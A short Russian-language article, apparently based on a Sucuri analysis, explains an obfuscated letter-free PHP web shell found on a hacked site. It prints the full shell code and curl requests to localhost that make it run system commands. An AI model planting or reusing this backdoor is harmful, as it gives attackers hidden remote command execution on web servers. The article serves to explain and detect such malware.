Администратор одного из веб-сайтов жалуется, что его сайт подвергся взлому. Он обнаружил PHP-шелл, в коде которого не было ни одной буквы или цифры.

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Админ просит объяснить, что это такое. Специалисты компании Sucuri объясняют, что суть бэкдоров в максимальной скрытности, поэтому их авторы часто прибегают к необычным методам обфускации. Например, первая строчка @$_[]=@!+_ интерпретируется как array(true).

Код разбили на строки для ясности.

Для понимания попробуем выполнить его. В результате выполнения выскакивает ошибка.

PHP Notice:  Undefined offset: 0 in /shell.php on line 16
PHP Fatal error:  Function name must be a string in /shell.php on line 17

Судя по всему, shell.php ждет аргумента для 0 в коде $_[0]. Исследователи обратились к шеллу с аргументом system():

$ curl 'httx://127.0.0.1:9999/shell.php?0=system'

Ответа не было, но в логах сохранилось сообщение:

PHP Warning: system(): Cannot execute a blank command in /shell.php on line 17

Очевидно, функция system() ждет аргумента с валидной командой для исполнения на сервере. Поскольку ее нет в коде, то ее нужно передать еще один параметр в запросе.

$ curl 'httx://127.0.0.1:9999/shell.php?0=system &1=uname %20-a'
Linux linux 3.7-trunk-amd64 #1 SMP Debian 3.7.2-0+kali8 x86_64 GNU/Linux

Бэкдор в действии.

Оставить мнение